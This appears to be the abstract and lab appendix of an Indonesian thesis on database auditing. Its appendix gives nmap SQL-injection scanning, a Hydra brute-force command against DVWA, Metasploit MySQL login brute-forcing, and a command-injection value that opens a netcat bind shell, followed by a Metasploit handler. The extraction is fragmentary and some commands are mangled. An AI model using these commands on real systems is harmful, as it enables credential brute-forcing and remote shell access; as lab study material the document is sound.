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INTISARI 
 

Database auditing dapat menjadi komponen penting dalam keamanan basis 
data. Database Administrator perlu waspada dalam teknik yang digunakan untuk 
melindungi data perusahaan, serta memantau dan memastikan bahwa perlindungan 
yang memadai terhadap data tersedia. Pada tingkat tinggi, database auditing 
merupakan fasilitas untuk melacak otoritas dan penggunaan sumber daya database. 
Ketika fungsi auditing diaktifkan, setiap operasi database yang diaudit 
menghasilkan jejak audit dari perubahan informasi yang dilakukan. Audit Trails 
dapat mengungkakan banyak jejak audit yang dapat dikategorikan sebagai berikut. 
Jejak audit dari log on dan log off, audit DCL, audit DDL, audit DML, audit DTL 
dan audit stored procedure dan trigger. 
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ABSTRACT 
Database auditing can be an important component of database security. 

Database administrators need to be aware of the techniques used to protect company 
data, as well as monitor and ensure that adequate data protection is in place. At a 
high level, database auditing is a facility for tracking database authority and 
resource usage. When the auditing function is enabled, each audited database 
operation generates an audit trail of information changes made. Audit Trails can 
reveal many audit trails which can be categorized as follows. Audit trail of log on 
and log off, DCL audit, DDL audit, DML audit, DTL audit and stored procedure 
audit and trigger. 
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LAMPIRAN 

 
A. Sourcecode untuk proses NMAP pada web server 

Hasilnya Scanning NMAP. Ada pada gambar brikut: 

 

B. Sourcecode dengan Hydra 

 

 

 

 

nmap -sV --script=http-sql-injection <target> 

Hydra -h 

/usr/share/set/src/fasttrack/wordlist.txt http-
get- form"/DVWA- 
1.9/vulnerabilities/brute/index.php:username
=^ USER^&password=^PASS^&Login=Login:Us 
ername and/or password incorrect.:H=Cookie: 
security=low;PHPSESSID=uqqircngoblves7qjv 
53lhivo5" 

-P admin –l 192.168.1.6
 

Hydra 



 

 

Hasilnya sebagai berikut: 

 
 

C. Metasploit 

commandpromd dan masuk ke msfconsole 

Cek Versi pada MySQL yang akan di tuju: 

 
Akan keluar hasilnya, seperti gambar berikut 

 
 
 

msfconsole thankyou 

use 

auxiliary/scanner/mysql/mysql_version 

show options 

set RHOSTS 10.4.12.155 

set THREADS 20 

 



 

 

use auxiliary/scanner/mysql/mysql_login 

show options 

set PASS_FILE /home/kali/new.pass 

set RHOSTS 10.4.12.155 

set USER_FILE /home/kali/new.user 

run 

Hacking Login MySQL 

 

 

 

 

 

 

Hasilnya sebagai berikut: 

 

 

 

 

 

 

 

 



 

 

D. Exploit Web Server 
Pertama masuk ke web DVWA, masuk ke menu Command Injection dengan NetCat. Berikut   
source kodenya. 

Kedua, aktifkan metasploit. Masuk ke Kali Linux buka commandpromd dan masuk ke msfconsole 

 

Hasilnya bisa dilihat sebagai berikut: 

 
 

 

10.4.12.155;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe 

msfconsole thankyou 

use multi/handler 

set PAYLOAD linux/x86/shell/bind_tcp 

show options 

set RHOST 10.4.12.155 

exploit 



 

 

  

 

 

 

 



 

 

 

 


